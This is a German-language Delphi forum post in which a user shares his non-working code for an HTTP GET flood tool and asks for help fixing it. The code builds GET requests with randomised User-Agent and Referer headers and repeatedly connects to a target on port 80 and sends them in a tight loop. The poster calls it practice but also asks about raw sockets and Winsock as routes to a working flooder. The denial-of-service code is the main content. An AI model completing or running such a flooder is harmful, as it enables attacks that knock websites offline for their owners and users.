Thema: Delphi http request/get flood

Einzelnen Beitrag anzeigen

painrestricter

Registriert seit: 2. Nov 2009
43 Beiträge
 
#1

http request/get flood

  Alt 6. Nov 2009, 14:01
servuß

ich will einen http flood coden, da ich an sowas am meisten spaß hab und mich die funktionsweise interessiert
(und wie man womöglich gegenmaßnahmen ergreifen kann)

THATS ONLY PRACTICE

ich hab mal was zum test geschrieben, funktioniert aber nicht

Delphi-Quellcode:
function CreateHTTPRequest(Site: String): String;
var
  Request: String;
begin
  Randomize;
   Request := 'GET ' + Site + ' HTTP/1.1' + #13#10;
  Request := Request + 'Host: ' + Site + #13#10;
  Request := Request + 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' + #13#10;
  Request := Request + 'Accept-Language: en-us,en' + #13#10;
  Request := Request + 'User-Agent: ' + UserAgents[1 + Random(11)] + #13#10;
  Request := Request + 'Referer: ' + Referer[1 + Random(5)] + #13#10;
  Request := Request + 'Connection: close' + #13#10#13#10;
  Result := Request;
end;


procedure TForm1.Button1Click(Sender: TObject);
begin
Seite := Edit1.Text;
ClientSocket1.Active := true;
Label1.Visible := true;
Label1.Caption := 'Flooding on port 80...';
while flood do
 begin
 ClientSocket1.Socket.Connect(Strtoint(target));
 if ClientSocket1.Socket.Connected then
   begin
   Clientsocket1.Socket.SendText(CreateHTTPRequest(Seite));
   Clientsocket1.Socket.Disconnect(Strtoint(Seite));
   Sleep(2);
   Application.ProcessMessages;
   end;
 end;
 Clientsocket1.Socket.Free;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin

Application.Terminate;
end;


end.
die http request funktion hat ein kollege von mir geschrieben, weil ich nicht wusste wie ich es anders lösen sollte

kann mir da wer helfen?
ich hab versucht mit tclientsocket eine verbindung aufzubauen, aber scheinbar funktioniert das nicht.
hab mir schon überlegt das mit raw sockets zu machen, aber die sind ja ab sp2 deaktiviert.
wie schauts denn mit winsock aus?

achja, eigentlich wollte ich bei Clientsocket1.Socket.SendText(CreateHTTPRequest(Seite)); nicht sendtext, sondern sendstring senden, nur das hat nicht ganz geklappt.
  Mit Zitat antworten Zitat